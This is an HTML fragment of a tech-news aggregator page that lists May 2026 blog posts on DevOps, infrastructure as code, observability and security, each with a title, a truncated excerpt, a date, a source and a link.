        <a href="#h3-core-java-vs-enterprise-java-jakarta-ee-spring-boot-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Core Java vs Enterprise Java: Jakarta EE & Spring Boot 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-core-java-vs-enterprise-java-jakarta-ee-spring-boot-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Java SE, Jakarta EE, and Spring Boot have converged more than most teams realize. A 2026 guide to choosing — and standardizing — your enterprise Java stack. | Blog</p>
<p><strong>📅 May 18, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/jakarta-ee-vs-spring-boot"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-a-context-graph-actually-is-and-how-to-build-one" class="group relative scroll-mt-24">
        <a href="#h3-what-a-context-graph-actually-is-and-how-to-build-one" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What a Context Graph Actually Is, and How to Build One
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-a-context-graph-actually-is-and-how-to-build-one"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Context graphs help AI agents reason through work by modeling how processes actually happen across your organization. This practical guide breaks down what they are, how they differ from knowledge gra</p>
<p><strong>📅 May 18, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/what-a-context-graph-actually-is-and-how-to-build-one"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-a-general-purpose-accessibility-agentand-what-we-learned-in-the-process" class="group relative scroll-mt-24">
        <a href="#h3-building-a-general-purpose-accessibility-agentand-what-we-learned-in-the-process" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building a general-purpose accessibility agent—and what we learned in the process
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-a-general-purpose-accessibility-agentand-what-we-learned-in-the-process"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn about the experimental general-purpose accessibility agent that GitHub is piloting. The post Building a general-purpose accessibility agent—and what we learned in the process appeared first on T</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/building-a-general-purpose-accessibility-agent-and-what-we-learned-in-the-process/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-widespread-mini-shai-hulud-campaign-is-a-matter-of-trust" class="group relative scroll-mt-24">
        <a href="#h3-widespread-mini-shai-hulud-campaign-is-a-matter-of-trust" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Widespread Mini Shai-Hulud Campaign Is a Matter of Trust
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-widespread-mini-shai-hulud-campaign-is-a-matter-of-trust"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The latest series of attacks using the notorious Shai-Hulud worm puts into sharp focus the threats facing software developers and their CI/CD pipelines, an issue that has been raised in recent months </p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/widespread-mini-shai-hulud-campaign-is-a-matter-of-trust/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-raising-the-bar-quality-shared-responsibility-and-the-future-of-githubs-bug-bounty-program" class="group relative scroll-mt-24">
        <a href="#h3-raising-the-bar-quality-shared-responsibility-and-the-future-of-githubs-bug-bounty-program" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Raising the bar: Quality, shared responsibility, and the future of GitHub’s bug bounty program
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-raising-the-bar-quality-shared-responsibility-and-the-future-of-githubs-bug-bounty-program"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We&#39;re updating our bug bounty program standards to prioritize quality submissions, clarify shared responsibility boundaries, and evolve how we reward low-risk findings. The post Raising the bar: Quali</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/security/raising-the-bar-quality-shared-responsibility-and-the-future-of-githubs-bug-bounty-program/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-availability-report-april-2026" class="group relative scroll-mt-24">
        <a href="#h3-github-availability-report-april-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub availability report: April 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-availability-report-april-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In April, we experienced 10 incidents that resulted in degraded performance across GitHub services. The post GitHub availability report: April 2026 appeared first on The GitHub Blog.</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/github-availability-report-april-2026/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-latency-to-instant-modernizing-github-issues-navigation-performance" class="group relative scroll-mt-24">
        <a href="#h3-from-latency-to-instant-modernizing-github-issues-navigation-performance" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From latency to instant: Modernizing GitHub Issues navigation performance
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-latency-to-instant-modernizing-github-issues-navigation-performance"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>How the GitHub Issues team used client-side caching, smart prefetching, and service workers to make navigation feel instant. The post From latency to instant: Modernizing GitHub Issues navigation perf</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/engineering/architecture-optimization/from-latency-to-instant-modernizing-github-issues-navigation-performance/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-automated-release-management-from-cabs-to-cd" class="group relative scroll-mt-24">
        <a href="#h3-automated-release-management-from-cabs-to-cd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Automated Release Management: From CABs to CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-automated-release-management-from-cabs-to-cd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Find out how policy-driven pipelines, continuous delivery and AI-assisted verification are replacing manual CAB processes with automated release management. | Blog</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/automated-release-management-from-cabs-to-continuous-delivery"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-harden-your-pipeline-perimeter-for-the-era-of-ai-assisted-coding" class="group relative scroll-mt-24">
        <a href="#h3-harden-your-pipeline-perimeter-for-the-era-of-ai-assisted-coding" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Harden your pipeline perimeter for the era of AI-assisted coding
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-harden-your-pipeline-perimeter-for-the-era-of-ai-assisted-coding"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI-assisted development is moving faster than the security models built to govern it — agents write code, open merge requests, and ship changes at a pace where vulnerabilities go unnoticed. The proble</p>
<p><strong>📅 May 13, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/harden-pipeline-perimeter-for-ai-assisted-coding/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-patch-release-18113-18106-1897" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-patch-release-18113-18106-1897" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab Patch Release: 18.11.3, 18.10.6, 18.9.7
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-patch-release-18113-18106-1897"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>📅 May 13, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-18-11-3-released/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-ensure-code-integrity-for-aws-lambda-functions-with-automated-code-signing-using-terraform" class="group relative scroll-mt-24">
        <a href="#h3-ensure-code-integrity-for-aws-lambda-functions-with-automated-code-signing-using-terraform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Ensure Code Integrity for AWS Lambda Functions with Automated Code Signing Using Terraform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ensure-code-integrity-for-aws-lambda-functions-with-automated-code-signing-using-terraform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Authors: Sourav Kundu and Joyson Neville Lewis. In today’s cloud-native landscape, ensuring the integrity and authenticity of your serverless functions is critical for maintaining security and complia</p>
<p><strong>📅 May 18, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/ensure-code-integrity-for-aws-lambda-functions-with-automated-code-signing-using-terraform/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-cloudwatch-logs-announces-increased-query-result-limits" class="group relative scroll-mt-24">
        <a href="#h3-amazon-cloudwatch-logs-announces-increased-query-result-limits" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon CloudWatch Logs announces increased query result limits
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-cloudwatch-logs-announces-increased-query-result-limits"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon CloudWatch Logs now supports retrieving up to 100,000 results using the Logs Insights query language. Customers can specify the limit in their query using the LIMIT command. Previously, custome</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/cloudwatch-logs-query-results/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-simplify-cross-account-and-cross-region-stack-output-references-with-aws-cloudformation-and-cdks-new-fngetstackoutput" class="group relative scroll-mt-24">
        <a href="#h3-simplify-cross-account-and-cross-region-stack-output-references-with-aws-cloudformation-and-cdks-new-fngetstackoutput" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Simplify cross-account and cross-Region stack output references with AWS CloudFormation and CDK’s new Fn::GetStackOutput
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-simplify-cross-account-and-cross-region-stack-output-references-with-aws-cloudformation-and-cdks-new-fngetstackoutput"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS CloudFormation makes it easy to model and provision your cloud application infrastructure as code. CloudFormation templates can be written directly in JSON or YAML, or they can be generated by too</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/simplify-cross-account-and-cross-region-stack-output-references-with-aws-cloudformation-and-cdks-new-fngetstackoutput/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-building-ai-agents-has-changed-in-2026" class="group relative scroll-mt-24">
        <a href="#h3-how-building-ai-agents-has-changed-in-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Building AI Agents Has Changed in 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-building-ai-agents-has-changed-in-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Twelve months ago, building an AI agent meant picking a framework, defining your tools, standing up a RAG pipeline, and writing a stack of glue code to wire it all together. That was the default playb</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/how-building-ai-agents-has-changed/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-inside-the-llm-call-genai-observability-with-opentelemetry" class="group relative scroll-mt-24">
        <a href="#h3-inside-the-llm-call-genai-observability-with-opentelemetry" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Inside the LLM Call: GenAI Observability with OpenTelemetry
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-inside-the-llm-call-genai-observability-with-opentelemetry"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your AI agent just took 45 seconds to answer a simple question. Was it the model? A slow tool call? A retry loop? Every time an application calls an LLM, a chain of model calls, tool invocations, and </p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/genai-observability/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-ways-to-agentically-build-and-edit-dashboards" class="group relative scroll-mt-24">
        <a href="#h3-new-ways-to-agentically-build-and-edit-dashboards" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New ways to agentically build and edit dashboards
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-ways-to-agentically-build-and-edit-dashboards"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Create and edit Sentry dashboards with AI agents, the Sentry CLI, or pre-built templates you can clone and customize for your monitoring needs.</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/dashboard-updates/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-assisted-testing-extensions-updates-and-more-k6-20-is-here" class="group relative scroll-mt-24">
        <a href="#h3-ai-assisted-testing-extensions-updates-and-more-k6-20-is-here" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI-assisted testing, extensions updates, and more: k6 2.0 is here
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-assisted-testing-extensions-updates-and-more-k6-20-is-here"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For years, teams have relied on k6 to take a more proactive approach to performance testing, ensuring they can catch issues early and deliver more reliable user experiences. That approach has helped m</p>
<p><strong>📅 May 12, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/k6-2-0-release/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-otel-blueprints-and-reference-implementations" class="group relative scroll-mt-24">
        <a href="#h3-introducing-otel-blueprints-and-reference-implementations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing OTel Blueprints and Reference Implementations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-otel-blueprints-and-reference-implementations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>It’s not uncommon for end users adopting OpenTelemetry to, at some point in their journey, ask themselves: “Why is this stuff so complex?”. Full adoption normally requires understanding the different </p>
<p><strong>📅 May 12, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/blueprints-intro/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
